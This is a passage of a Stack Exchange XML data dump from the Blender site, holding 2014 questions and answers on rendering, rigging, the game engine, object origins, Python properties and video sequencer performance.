  <row Id="18776" PostTypeId="2" ParentId="18768" CreationDate="2014-11-12T06:14:04.173" Score="3" Body="&lt;p&gt;To output normal data, you need to use the Normal socket on &lt;strong&gt;Output&lt;/strong&gt; node. (Be sure to also enable &lt;strong&gt;Normal&lt;/strong&gt; setting in &lt;em&gt;Influence&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HZvwX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-12T06:14:04.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18777" PostTypeId="2" ParentId="18750" CreationDate="2014-11-12T08:05:41.003" Score="1" Body="&lt;p&gt;Others have given a partial answer, the full answer is usually a combination of each method. Unfortunately finding the python equivalent is not a one method answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python tooltips are helpful but can be truncated so you may need to find extra information or be familiar with what is cut out. From 2.72 you don't need to keep tooltips enabled, hold down &lt;kbd&gt;Alt&lt;/kbd&gt; and move the mouse over an item to see the tooltip when they are turned off. This is an area that the auto complete in the python console can be helpful. Sometimes you may need to search through the api docs to find the truncated sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many properties are easily visible in tooltips and right click-&gt;copy data path will give you the most unique part of data path, you then add that to current object or material nodes etc. There is also an API navigator addon that can be useful to find data paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buttons are used to run an operator and most will show up in the info window once you expand it, a right click-&gt;Edit source is usually a good second option. There are areas that edit source fails, such as most of the properties sidebars (for non-addon panel items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For menus, they are a collection of operators and python tooltips are normally sufficient. You can't edit source for each menu item but as long as you haven't collapsed the menus you can edit source for the menu in the header and follow the list to find the one you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-12T08:05:41.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18778" PostTypeId="2" ParentId="18773" CreationDate="2014-11-12T08:34:45.323" Score="4" Body="&lt;p&gt;Yes the blend files can be opened on any system that can run blender. You can then export to game engine runtime on that system. You just need to check that they have the player installed as well, this should be included with release downloads but may not be for custom builds or graphicall downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As gandlaf3 pointed out there is a new addon included with 2.72 that allows you to export to multiple platforms from your current system. You just need to enable the addon and test it. This is a new addon so be sure to report any trouble you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to pack all external files or include all external items for each platform.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-12T08:34:45.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18779" PostTypeId="1" CreationDate="2014-11-12T09:04:17.227" Score="2" ViewCount="367" Body="&lt;p&gt;I saved my blend file as Game Engine Runtime in a Windows 7 system. Now I have an executable file. The file works perfectly fine on my current computer but when I open that file on another computer (also Windows 7), it gives me an error that says &quot;OpenColorIO.dll is missing&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, what should I do to resolve the error? I'm not really familiar with dlls and what to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, will the .exe file run on a computer that doesn't have Blender installed?&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="2217" LastEditDate="2014-11-12T14:22:08.953" LastActivityDate="2015-05-13T11:13:56.607" Title="Missing OpenColorIO.dll for game engine executable" Tags="&lt;game-engine&gt;&lt;export&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18780" PostTypeId="2" ParentId="18766" CreationDate="2014-11-12T09:59:36.580" Score="0" Body="&lt;p&gt;You first example line &lt;code&gt;bpy.app.driver_namespace['&amp;lt;functionname&amp;gt;'] = &amp;lt;functionname&amp;gt;&lt;/code&gt; registers the function within the driver namespace and makes it available as &lt;code&gt;&amp;lt;functionname&amp;gt;&lt;/code&gt; within any driver expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From other areas of blender you can access it with it's full data path - &lt;code&gt;bpy.app.driver_namespace['&amp;lt;functionname&amp;gt;'](3)&lt;/code&gt; calls that function passing a value of 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that isn't the issue you have with the math object creation -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XYZ math surface object allows you to enter an arbitrary string to define the surface of the object. As this also allows any python to be run it implements a security feature that prevents any functions not listed in it's safe_list from being run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this you need to do two steps, add your functions as a module and then import them into the addon and add the names to the safe list. Or you can adjust the usage of the safe list to allow any functions. You may want to duplicate the addon and adjust it so you have your own custom addon that suites your needs. You may also find it easier to define the calculations used and just input a few variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a sign function in a on-line script you can use &lt;code&gt;1 if x&amp;gt;0 else 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a^b I don't see an issue &lt;code&gt;-2**3.5&lt;/code&gt; returns &lt;code&gt;-11.31370849898476&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-12T09:59:36.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18783" PostTypeId="1" AcceptedAnswerId="18784" CreationDate="2014-11-12T14:58:09.367" Score="19" ViewCount="1923" Body="&lt;p&gt;When looking at my objects in 3d view I'm seeing a gray cone that seems to be hiding other objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me turn this off and explain what it is please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfeTM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ufPES.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7961" LastEditorUserId="55" LastEditDate="2014-11-12T16:48:48.257" LastActivityDate="2020-11-23T19:03:08.940" Title="Gray cone obscuring/clipping the 3D Viewport" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18784" PostTypeId="2" ParentId="18783" CreationDate="2014-11-12T15:40:52.117" Score="21" Body="&lt;p&gt;You somehow enabled the clipping region (or clipping border). It's created in 2D, but projects into 3D, thus it looks like a cone from certain angles.&lt;/p&gt;&#xA;&lt;p&gt;Disable it by clicking &lt;em&gt;View &amp;gt; View Region&amp;gt; Clipping Region...&lt;/em&gt; in &lt;em&gt;3D View&lt;/em&gt; header, or press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SeryC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SeryC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="92768" LastEditDate="2020-11-23T19:03:08.940" LastActivityDate="2020-11-23T19:03:08.940" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18785" PostTypeId="2" ParentId="18774" CreationDate="2014-11-12T17:01:43.590" Score="1" Body="&lt;p&gt;Unfortunately, there's not much you can do. Tweaking the settings to reduce quality might help some, but not much. You can reduce the number of frames you render by changing the frame rate that you're rendering to (30fps is more work than 24fps), but that may not be an option if it doesn't give you the result you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this kind of rendering is a really simple, relatively brute-force process, so there aren't many opportunities to optimize on the user's end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main things you can do to speed thing up are hardware related. Defrag your hard drive so access times have the opportunity to be shorter (only applies if the files you're accessing are fragmented). More RAM will make it easier to fit all the relevant files in RAM instead of virtual memory. A faster hard drive will make virtual memory faster and will make loading files faster. A faster processor will make the calculation of cross-fades and other effects faster (as well as all other operations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, it'd be interesting to do some benchmarks to see if there's any difference between the same quality settings for various codecs. I can imagine that some codecs require more processing than others, but I have no way to make any guesses about which are faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I recently did a job making a 4-min animation and it took about 30 minutes to render all the raw frames into a single video (with a whole bunch of cross-fades and whatnot). So it doesn't seem like your times are unusual or unexpected.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-11-12T17:01:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18786" PostTypeId="1" CreationDate="2014-11-12T17:31:56.330" Score="1" ViewCount="544" Body="&lt;p&gt;Is there a way to turn Blender simulations into animations that I can export to Unity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to, say, animate a flag, run the simulation and export it to Unity to be used in a game. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="7960" LastEditorUserId="3710" LastEditDate="2014-11-12T18:29:23.453" LastActivityDate="2014-11-12T18:29:23.453" Title="Exporting Physics Simulations into Unity" Tags="&lt;animation&gt;&lt;physics&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18788" PostTypeId="1" AcceptedAnswerId="18789" CreationDate="2014-11-12T18:44:26.573" Score="4" ViewCount="1647" Body="&lt;p&gt;I have three curved objects which I would like to render with a glossy surface. Unfortunately I can't figure out why my cycles render gives me these black areas. If I render the objects individually the black areas disappear so I assume its some kind of reflective interaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone mind explaining where I'm going wrong with this please? Any help would be very much appreciated. I'll try to link the .blend file if that would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lenXW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7957" LastEditorUserId="2217" LastEditDate="2014-11-12T18:51:27.310" LastActivityDate="2014-11-13T00:01:29.153" Title="Black areas in glossy surface" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18789" PostTypeId="2" ParentId="18788" CreationDate="2014-11-12T19:30:38.177" Score="5" Body="&lt;p&gt;OK I looked at your blend, and it was nothing more then the reflection of the shadow from the other objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off I whent into edit mode, selected everything with &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;, then on the tool shelf under the &lt;em&gt;Shading/UV&lt;/em&gt; tab pressed the &lt;em&gt;Recalculate&lt;/em&gt; button. Half of the normals were backwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing I did was add a &lt;em&gt;Diffuse&lt;/em&gt; node to your material, connected to a &lt;em&gt;Mix Shader&lt;/em&gt;. The diffuse node gives the material a base color, regardless of reflections. Then mixed with the glossy node will add some reflections back to the material.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mhiw1.png&quot; alt=&quot;nodes&quot;&gt;&lt;br&gt;&#xA;You really need something for the glossy shader to reflect off of, if you are going to get any reflections. A &lt;a href=&quot;https://blender.stackexchange.com/a/15358/2217&quot;&gt;HDR&lt;/a&gt; is commonly used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32809&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modified blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-11-13T00:01:29.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18790" PostTypeId="2" ParentId="18723" CreationDate="2014-11-12T21:26:15.090" Score="3" Body="&lt;p&gt;Actually the file is in great shape. All you had to do is set the Shading mode to &lt;strong&gt;GLSL&lt;/strong&gt;. It's currently set to &lt;strong&gt;Multitexture&lt;/strong&gt;, which is an older, and less powerful system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a19ym.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, the purple texture you see is the normal map on the character, which isn't supported in Multitexture mode.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-12T21:26:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18791" PostTypeId="2" ParentId="8436" CreationDate="2014-11-12T21:39:17.837" Score="11" Body="&lt;p&gt;You can definitely render a 3D voxel dataset using the built-in tools of Blender. As seen in the example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The basic workflow using the Blender Internal engine:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a Cube that's the same dimension as your voxel data ( image resolution x Voxal size , the important thing is to preserve the dimension ratios )&lt;/li&gt;&#xA;&lt;li&gt;Create a volume material and texture for the cube.&lt;/li&gt;&#xA;&lt;li&gt;Load in the density data as image sequence or 8bit raw data ( tested .img and .rawb formats ).&lt;/li&gt;&#xA;&lt;li&gt;Adjust all resolution parameters ( set it to the resolution of the image you should have this information , incorrect resolution will result in distorted/cropped or even no visible result )&lt;/li&gt;&#xA;&lt;li&gt;setup the texture to affect Density and Emissions.&lt;/li&gt;&#xA;&lt;li&gt;Tweak color map and material properties until the data is shown nicely.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The material and texture setup :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTTfa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the render result :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSoRi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the color ramp, you can even remap the density to different colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/coW9F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="5113" LastEditDate="2015-05-04T12:58:10.717" LastActivityDate="2015-05-04T12:58:10.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18792" PostTypeId="1" CreationDate="2014-11-12T22:13:53.567" Score="0" ViewCount="636" Body="&lt;p&gt;I am trying to rig a first person set of arms, but the bones in the forearm are acting strange. I made three bones parented to the large forearm bone, they have copy rotation constraints linked to the hand IK bone so that they will only copy its Y rotation. It works in the rest position, but after moving the hand IK bone and rotating it along other axes, it doesn't follow correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ror35.jpg&quot; alt=&quot;Here it is working fine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSUyD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After repositioning the arm, it does this. It barely reacts to the hand Ik bone rotating along the Y axis, and instead reacts the the Z axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0H5dF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wTRF7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/32837&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/32837&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7963" LastEditorUserId="7963" LastEditDate="2014-11-25T04:06:38.427" LastActivityDate="2014-11-25T04:06:38.427" Title="Blender copy rotation constraints bugging out" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18793" PostTypeId="1" AcceptedAnswerId="18801" CreationDate="2014-11-12T22:25:34.623" Score="0" ViewCount="201" Body="&lt;p&gt;Is it possible to produce several small flames from different parts of the same mesh? I'm modelling a birthday cake with 42 candles, and in a weak moment I joined the cake and the candles into a single mesh (don't ask why, I honestly don't know). I created the candles by modelling one, which I used as a template object for a particle system, which I then converted into objects. Then, ¤#!&amp;amp; knows why, I joined it all, including the cake, together into one glorious whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I put a smoke domain around each candle, or do I need to separate them? Or could I even accomplish it with a single domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I save pretty often, so although I have Blender keeping five backups, I can't recover the individual meshes (my /tmp is a tmpfs, and I've rebooted since the &quot;accident&quot;, so no quit.blend either).&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-11-13T02:33:38.343" Title="Multiple flames from one mesh" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18794" PostTypeId="2" ParentId="18774" CreationDate="2014-11-12T22:55:48.313" Score="5" Body="&lt;p&gt;Lots of speculation, so I decided to do some some tests on the sequencer performance:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Performance Options&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Global Prefetch set to 30frames, 4096MB of cache, AVI JPEG 50% quality: &lt;strong&gt;2m28s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ UI Locked and no image Display: &lt;strong&gt;2m28s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Sound track caching, MPEG seek per-track set to 60 rather than 25: &lt;strong&gt;2m28s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Immediate re-render, to test for effect of disk caching: &lt;strong&gt;2m28s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion 1:&lt;/strong&gt; Surprisingly, none of the performance-enhancing options seems to do anything.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Encoding Options&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Same setting as above, AVI JPEG: &lt;strong&gt;2m28s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Encoding set to Quicktime H264 @ 50% quality: &lt;strong&gt;4m08s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Quicktime H264 @ 75% quality: &lt;strong&gt;4m02s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Quicktime H264 @ 95% quality: &lt;strong&gt;4m11s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Encoding set to FFMPEG H264, H264 Preset @ 600kbit: &lt;strong&gt;8m18s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ Encoding set to AVI RAW: &lt;strong&gt;1m58s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion 2:&lt;/strong&gt; The encoding engine makes a huge difference in speed. AVI RAW is the fastest if you have the disk speed to back it up. FFMPEG H264 is the slowest.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Quality Options&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;+ With antialiasing, AVI RAW: &lt;strong&gt;1m58s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+ without antialiasing, AVI RAW: &lt;strong&gt;1m18s&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion 3:&lt;/strong&gt; Antialiasing makes a difference, but the quality loss is huge, especially when all the input clips have different resolution.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Test Details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene used: 2000 frame long sequencer with 6 different 720p MPEG4 video input, 3 1080p PNG sequence inputs, dozens of images, dozens of transitions, 1 audio track. Output is 720p with Antialiasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test Methodology: System is restarted after each test, so the effect of disk cache is minimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test system: 2.2Ghz i7 Macbook Pro, 8GB RAM, Radeon HD6750, 500GB SSD&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-12T22:55:48.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18795" PostTypeId="1" CreationDate="2014-11-12T22:59:46.210" Score="2" ViewCount="762" Body="&lt;p&gt;The origin of my object is not where I want it, so when I set other objects to the parent, they link to the origin rather then the object where I want them. How do I change the origin? &lt;/p&gt;&#xA;" OwnerUserId="7964" LastEditorUserId="599" LastEditDate="2014-11-13T00:54:07.537" LastActivityDate="2014-11-13T00:54:07.537" Title="How to reset object's origin" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-11-12T23:09:47.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="18796" PostTypeId="2" ParentId="18795" CreationDate="2014-11-12T23:06:23.313" Score="2" Body="&lt;p&gt;You can recenter the active object's  &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;nofollow noreferrer&quot;&gt;origin&lt;/a&gt;&lt;/em&gt; (orange dot) by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt;, or the button in &lt;em&gt;3D view &gt; Tool shelf &gt; Tools &gt; Edit &gt; Set origin&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHa7h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-12T23:06:23.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18797" PostTypeId="1" AcceptedAnswerId="18798" CreationDate="2014-11-12T23:11:30.023" Score="2" ViewCount="661" Body="&lt;p&gt;I'm trying to change the height of an inset extrusion on a block mesh, but the object is distorting when I attempt to change the height.  Below is a snap of two block meshes.  Each has an inset of the top face, and an extrusion of the inner face.  One is up, the other down.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change the right object's top face (&lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt; for the height), with no distortion to the cube.  However when I change the left cube's lower face the entire cube distorts.  I need to do small adjustments to the inner surface depth only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C1tAg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RUxhL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7965" LastEditorUserId="2217" LastEditDate="2014-11-12T23:56:57.187" LastActivityDate="2014-11-12T23:56:57.187" Title="Change height of an inset extrusion" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18798" PostTypeId="2" ParentId="18797" CreationDate="2014-11-12T23:13:22.047" Score="3" Body="&lt;p&gt;You have &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional editing&lt;/a&gt; (&lt;kbd&gt;O&lt;/kbd&gt;) enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4yEQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable it by pressing &lt;kbd&gt;O&lt;/kbd&gt; again or selecting &lt;em&gt;disabled&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-12T23:13:22.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18799" PostTypeId="2" ParentId="18562" CreationDate="2014-11-13T00:10:33.837" Score="2" Body="&lt;p&gt;If the target object is an armature and a pose bone is selected then const.inverse_matrix looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matrix_final = target.matrix_world * target_bone.matrix&#xA;const.inverse_matrix = matrix_final.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="782" LastActivityDate="2014-11-13T00:10:33.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18800" PostTypeId="1" AcceptedAnswerId="19160" CreationDate="2014-11-13T01:06:50.550" Score="6" ViewCount="987" Body="&lt;p&gt;I'm modelling a worm from a reference image be extruding/rotating/scaling circles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPSRd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to go back and smooth transition from edge loop to edge loop (e.g. I think the selected loop should be rotated counter clockwise)? Effectively, I think this is a rotation where vertices are restricted to an edge slide.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-23T20:18:25.637" Title="Edge slide rotation" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18801" PostTypeId="2" ParentId="18793" CreationDate="2014-11-13T02:33:38.343" Score="1" Body="&lt;p&gt;You can separate into loose parts like @gandalf3 said &lt;code&gt;P &amp;gt; Separate By Loose Parts&lt;/code&gt; then have multiple flames in one domain, like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kUQo6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-11-13T02:33:38.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18802" PostTypeId="1" AcceptedAnswerId="18812" CreationDate="2014-11-13T03:12:39.963" Score="2" ViewCount="10484" Body="&lt;p&gt;If I have a property like &lt;code&gt;bpy.types.Object.thing = BoolProperty()&lt;/code&gt; how would I go about removing it? I have tried &lt;code&gt;del bpy.context.object.thing&lt;/code&gt; and &lt;code&gt;bpy.context.object.remove(&quot;thing&quot;)&lt;/code&gt; and &lt;code&gt;del bpy.context.object[&quot;thing&quot;]&lt;/code&gt;. Do I just have to create a new object with this objects data? Or is there a way to delete them?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2014-11-13T03:19:24.777" LastActivityDate="2014-11-13T11:29:35.057" Title="how to delete property from object" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18803" PostTypeId="2" ParentId="17985" CreationDate="2014-11-13T04:23:16.913" Score="1" Body="&lt;p&gt;Well, I ended up just applying the SubSurf modifier and creating the gear doors from that. Thanks for the input, tho.&lt;/p&gt;&#xA;" OwnerUserId="7576" LastActivityDate="2014-11-13T04:23:16.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18804" PostTypeId="1" CreationDate="2014-11-13T04:33:37.433" Score="0" ViewCount="120" Body="&lt;p&gt;Ok, so I'm working on creating landing gear and landing gear doors for the model I'm working on, but I haven't done a great deal with rigging armatures in the past. The game I'm modeling this for uses an armature for these functions, so keyframes won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a total of three points of articulation on my landing gear door: Two hinges and the actuator arm. On the &quot;real&quot; craft being represented by the model, the hinges are just points of rotation, while the actuator arm is what actually opens and closes the door.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hinges are also at an angle to the axes on the grid, not parallel, so would have a bit more complex rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to rig the door so that it articulates like the actual door would (two linked points of rotation, driven by the actuator acting against the mesh at another point) or would each of these three points need to be rigged and positioned individually?&lt;/p&gt;&#xA;" OwnerUserId="7576" LastEditorUserId="7576" LastEditDate="2014-11-28T21:08:04.627" LastActivityDate="2014-11-28T21:08:04.627" Title="Rigging Question" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="4" 